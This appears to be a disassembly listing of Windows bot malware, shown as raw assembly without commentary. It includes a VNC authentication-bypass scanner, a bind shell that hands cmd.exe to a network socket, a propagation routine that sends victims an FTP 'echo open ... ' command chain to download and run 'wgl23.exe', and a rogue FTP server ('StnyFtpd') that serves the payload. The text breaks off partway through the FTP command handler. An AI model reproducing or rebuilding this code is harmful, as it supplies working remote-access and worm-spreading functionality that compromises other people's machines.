loc_40EC65:				; CODE XREF: sub_40EC55+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC92
		test	eax, eax
		jz	short loc_40EC92
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EC65

loc_40EC8C:				; CODE XREF: sub_40EC55+Ej
		push	1
		pop	eax

loc_40EC8F:				; CODE XREF: sub_40EC55+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40EC92:				; CODE XREF: sub_40EC55+8j
					; sub_40EC55+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC8F
sub_40EC55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40EC96(int,char,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_40EC96	proc near		; DATA XREF: .data:0044928Co

Dest		= byte ptr -24Ch
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
Src		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
Str		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_44B498
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp+var_2], ax
		pop	edi
		push	edi
		call	dword_4E42A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40ECC4
		push	eax
		jmp	short loc_40ECF8
; ---------------------------------------------------------------------------

loc_40ECC4:				; CODE XREF: sub_40EC96+29j
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4E4260	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_48], eax
		mov	[ebp+var_4C], di
		call	dword_4E4220	; htons
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	esi
		call	dword_4E41C8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40ED03
		push	esi

loc_40ECF8:				; CODE XREF: sub_40EC96+2Cj
		call	dword_4E42B8	; closesocket
		jmp	loc_40EEF4
; ---------------------------------------------------------------------------

loc_40ED03:				; CODE XREF: sub_40EC96+5Fj
		lea	eax, [ebp+Src]
		push	0Ch
		push	eax
		push	esi
		call	sub_40EC1C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEED
		lea	eax, [ebp+var_20]
		and	[ebp+var_2C], 0
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+Src]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax		; Src
		call	_sscanf
		add	esp, 10h
		cmp	eax, edi
		jnz	loc_40EEED
		cmp	[ebp+var_28], 3
		jz	short loc_40ED4F
		cmp	[ebp+var_20], 8
		jnz	loc_40EEED

loc_40ED4F:				; CODE XREF: sub_40EC96+ADj
		lea	eax, [ebp+Src]
		push	0Ch
		push	eax
		push	esi
		call	sub_40EC55
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEED
		lea	eax, [ebp+var_3C]
		push	edi
		push	eax
		push	esi
		call	sub_40EC1C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEED
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	esi
		call	sub_40EC55
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEED
		lea	eax, [ebp+var_24]
		push	4
		push	eax
		push	esi
		call	sub_40EC1C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEED
		mov	eax, [ebp+var_24]
		mov	ebx, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, ebx
		mov	edi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, edi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp+var_24], ecx
		jnz	loc_40EEED
		push	1
		push	offset dword_4E6F78
		push	esi
		call	sub_40EC55
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEED
		lea	eax, [ebp+var_1C]
		push	18h
		push	eax
		push	esi
		call	sub_40EC1C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEED
		xor	eax, eax
		mov	ecx, [ebp+var_8]
		mov	al, byte ptr [ebp+var_1C+1]
		mov	edx, ecx
		mov	ah, byte ptr [ebp+var_1C]
		mov	[ebp+var_1C], ax
		xor	eax, eax
		mov	al, byte ptr [ebp+var_1A+1]
		mov	ah, byte ptr [ebp+var_1A]
		mov	[ebp+var_1A], ax
		xor	eax, eax
		mov	al, byte ptr [ebp+var_14+1]
		mov	ah, byte ptr [ebp+var_14]
		mov	[ebp+var_14], ax
		xor	eax, eax
		mov	al, byte ptr [ebp+var_12+1]
		mov	ah, byte ptr [ebp+var_12]
		mov	[ebp+var_12], ax
		xor	eax, eax
		mov	al, byte ptr [ebp+var_10+1]
		mov	ah, byte ptr [ebp+var_10]
		mov	[ebp+var_10], ax
		mov	eax, ecx
		and	eax, ebx
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, edi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp+var_8], eax
		add	eax, 2
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		push	[ebp+var_8]
		mov	edi, eax
		push	edi
		push	esi
		call	sub_40EEFB
		add	esp, 10h
		lea	eax, [ebp+arg_4]
		push	eax
		push	edi
		push	[ebp+var_20]
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_B0]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		mov	eax, [ebp+arg_A8]
		add	esp, 34h
		shl	eax, 6
		inc	dword_449250[eax]
		push	esi
		lea	eax, dword_449250[eax]
		call	ds:dword_4F656C	; closesocket
		push	1
		pop	eax
		jmp	short loc_40EEF6
; ---------------------------------------------------------------------------

loc_40EEED:				; CODE XREF: sub_40EC96+7Ej
					; sub_40EC96+A3j ...
		push	esi
		call	ds:dword_4F656C	; closesocket

loc_40EEF4:				; CODE XREF: sub_40EC96+68j
		xor	eax, eax

loc_40EEF6:				; CODE XREF: sub_40EC96+255j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EEFB	proc near		; CODE XREF: sub_40EC96+1E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		test	esi, esi
		jle	short loc_40EF17
		push	esi
		push	edi
		push	[esp+10h+arg_0]
		call	sub_40EC1C
		add	esp, 0Ch

loc_40EF17:				; CODE XREF: sub_40EEFB+Cj
		and	byte ptr [edi+esi], 0
		pop	edi
		pop	esi
		retn
sub_40EEFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EF1E	proc near		; DATA XREF: sub_40EFAC+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40EF27:				; CODE XREF: sub_40EF1E+25j
					; sub_40EF1E+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4E6F8C
		call	dword_4E4238	; recv
		test	eax, eax
		jle	short loc_40EF27
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4E6F88
		call	ds:dword_4F63E8	; WriteFile
		jmp	short loc_40EF27
sub_40EF1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EF61	proc near		; DATA XREF: sub_40EFAC+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40EF6A:				; CODE XREF: sub_40EF61+2Fj
					; sub_40EF61+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4E6F7C
		call	ds:dword_4F63F0	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40EF6A
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4E6F8C
		call	dword_4E4270	; send
		jmp	short loc_40EF6A
sub_40EF61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EFAC	proc near		; DATA XREF: sub_401CC7+2D16o

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
Dst		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		push	1
		xor	edi, edi
		pop	esi
		mov	[eax+98h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_98]
		call	dword_4E4220	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4E42A0	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4E424C	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4E4248	; listen
		mov	ebx, ds:dword_4F6404
		mov	esi, ds:dword_4F6370

loc_40F02C:				; CODE XREF: sub_40EFAC+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4E42B4	; accept
		mov	dword_4E6F8C, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4E6F88
		push	offset dword_4E6F84
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4E6F80
		push	offset dword_4E6F7C
		call	ebx	; CreatePipe
		push	44h		; Size
		lea	eax, [ebp+var_7C]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, dword_4E6F84
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4E6F80
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	ds:dword_4F6400	; GetCurrentProcess
		push	eax
		push	dword_4E6F80
		call	ds:dword_4F6400	; GetCurrentProcess
		push	eax
		call	ds:dword_4F63FC	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aCmd_exe	; "cmd.exe"
		push	edi
		call	ds:dword_4F6374	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40EF61
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	ds:dword_4F6384	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40EF1E
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	ds:dword_4F6384	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	ds:dword_4F63A8	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	ds:dword_4F63B4	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	ds:dword_4F63B4	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	ds:dword_4F63F8	; TerminateProcess
		push	dword_4E6F84
		call	esi	; CloseHandle
		push	dword_4E6F88
		call	esi	; CloseHandle
		push	dword_4E6F7C
		call	esi	; CloseHandle
		push	dword_4E6F80
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40F02C
sub_40EFAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40F17C	proc near		; DATA XREF: .data:00440010o
		jmp	$+5
sub_40F17C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F181	proc near
		push	0FFFEh
		push	400h
		call	sub_419589
		pop	ecx
		mov	dword_4E6F94, eax
		pop	ecx
		retn
sub_40F181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F198	proc near		; DATA XREF: sub_40C165+34Do

Dest		= byte ptr -6C0h
var_2C0		= dword	ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
Str		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[eax+98h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_A4]
		call	dword_4E4220	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4E42A0	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40F23F
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40F21F
		push	ebx		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40F21F:				; CODE XREF: sub_40F198+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415C77
		push	[ebp+var_AC]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_40F23F:				; CODE XREF: sub_40F198+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_457134[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4E424C	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40F33A
		call	dword_4E41B4	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40F2BF
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F29F
		push	esi		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40F29F:				; CODE XREF: sub_40F198+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415C77
		push	[ebp+var_AC]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread

loc_40F2BF:				; CODE XREF: sub_40F198+DEj
		push	0FFFEh
		push	ebx
		call	sub_419589
		pop	ecx
		mov	dword_4E6F94, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_4E424C	; bind
		cmp	eax, esi
		jnz	short loc_40F33A
		call	dword_4E41B4	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F31A
		cmp	eax, 2740h
		jz	short loc_40F31A
		push	esi		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40F31A:				; CODE XREF: sub_40F198+159j
					; sub_40F198+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415C77
		push	[ebp+var_AC]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread

loc_40F33A:				; CODE XREF: sub_40F198+CDj
					; sub_40F198+14Cj
		push	5
		push	edi
		call	dword_4E4248	; listen
		cmp	eax, esi
		jz	loc_40F41F
		mov	[ebp+var_4], 10h
		mov	esi, offset Str	; "wgl23.exe"

loc_40F357:				; CODE XREF: sub_40F198+1D7j
					; sub_40F198+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4E42B4	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40F357
		cmp	[ebp+var_1C], 0
		jnz	short loc_40F398
		push	0		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40F398:				; CODE XREF: sub_40F198+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415C77
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4238	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F357
		push	esi
		push	esi
		push	dword_4E3F28
		push	[ebp+var_B0]
		call	sub_40AFA9
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+Dest]
		push	ebx		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F357
		inc	dword_4E6F9C
		jmp	loc_40F357
; ---------------------------------------------------------------------------

loc_40F41F:				; CODE XREF: sub_40F198+1ADj
		push	edi
		call	dword_4E42B8	; closesocket
		push	[ebp+var_AC]
		call	sub_40BAAA
		pop	ecx
		push	0
		call	ds:dword_4F63D4	; ExitThread
sub_40F198	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F43A	proc near		; DATA XREF: sub_40C165+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= dword	ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
Dst		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
Str		= byte ptr -128h
Dest		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
Str1		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	ds:dword_4F6540	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	ds:dword_4F6570	; socket
		mov	esi, ds:dword_4F6544
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_2C]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_4F6548	; ioctlsocket
		mov	ax, word ptr dword_4E3F28
		and	[ebp+var_48], 0
		push	eax
		mov	[ebp+var_4C], 2
		call	dword_4E4220	; htons
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4F654C	; bind
		test	eax, eax
		jge	short loc_40F500
		mov	eax, ebx
		jmp	loc_40FA6A
; ---------------------------------------------------------------------------

loc_40F500:				; CODE XREF: sub_40F43A+BDj
		push	0Ah
		push	edi
		call	ds:dword_4F6584	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, ds:dword_4F6574
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi

loc_40F51E:				; CODE XREF: sub_40F43A+11Dj
					; sub_40F43A+628j
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_4F6578	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FA67
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40F51E

loc_40F559:				; CODE XREF: sub_40F43A+622j
		xor	esi, esi
		push	64h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	64h		; Size
		lea	eax, [ebp+Str1]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_43B892	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40FA55
		cmp	edi, [ebp+var_8]
		jnz	short loc_40F610
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4F6554	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FA55
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40F5DA
		lea	edx, [ebp+var_228]

loc_40F5CA:				; CODE XREF: sub_40F43A+19Ej
		cmp	[edx], eax
		jz	short loc_40F5DA
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40F5CA

loc_40F5DA:				; CODE XREF: sub_40F43A+188j
					; sub_40F43A+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40F5F8
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40F5F8
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]

loc_40F5F8:				; CODE XREF: sub_40F43A+1A6j
					; sub_40F43A+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40F600
		mov	[ebp+var_4], eax

loc_40F600:				; CODE XREF: sub_40F43A+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40FA55
; ---------------------------------------------------------------------------

loc_40F610:				; CODE XREF: sub_40F43A+15Aj
		push	esi
		lea	eax, [ebp+Dst]
		push	64h
		push	eax
		push	edi
		call	ds:dword_4F6568	; recv
		test	eax, eax
		jg	short loc_40F677
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40F66B
		lea	eax, [ebp+var_228]

loc_40F637:				; CODE XREF: sub_40F43A+207j
		cmp	[eax], edi
		jz	short loc_40F645
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40F637
		jmp	short loc_40F66B
; ---------------------------------------------------------------------------

loc_40F645:				; CODE XREF: sub_40F43A+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40F665
		lea	eax, [ebp+ecx*4+var_228]

loc_40F651:				; CODE XREF: sub_40F43A+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40F651

loc_40F665:				; CODE XREF: sub_40F43A+20Ej
		dec	[ebp+var_22C]

loc_40F66B:				; CODE XREF: sub_40F43A+1F5j
					; sub_40F43A+209j
		push	edi
		call	ds:dword_4F656C	; closesocket
		jmp	loc_40FA55
; ---------------------------------------------------------------------------

loc_40F677:				; CODE XREF: sub_40F43A+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aSS_3	; "%s %s"
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+Str1]
		push	offset aUser_1	; "USER"
		push	eax		; Str1
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F6BB
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40FA40
; ---------------------------------------------------------------------------

loc_40F6BB:				; CODE XREF: sub_40F43A+272j
		lea	eax, [ebp+Str1]
		push	offset aPass	; "PASS"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6DF
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40FA40
; ---------------------------------------------------------------------------

loc_40F6DF:				; CODE XREF: sub_40F43A+296j
		lea	eax, [ebp+Str1]
		push	offset aSyst	; "SYST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F703
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_40FA40
; ---------------------------------------------------------------------------

loc_40F703:				; CODE XREF: sub_40F43A+2BAj
		lea	eax, [ebp+Str1]
		push	offset aRest	; "REST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F727
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40FA40
; ---------------------------------------------------------------------------

loc_40F727:				; CODE XREF: sub_40F43A+2DEj
		lea	eax, [ebp+Str1]
		push	offset off_44B5D8 ; Str2
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F74B
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40FA40
; ---------------------------------------------------------------------------

loc_40F74B:				; CODE XREF: sub_40F43A+302j
		lea	eax, [ebp+Str1]
		push	offset aType	; "TYPE"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F786
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F786
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
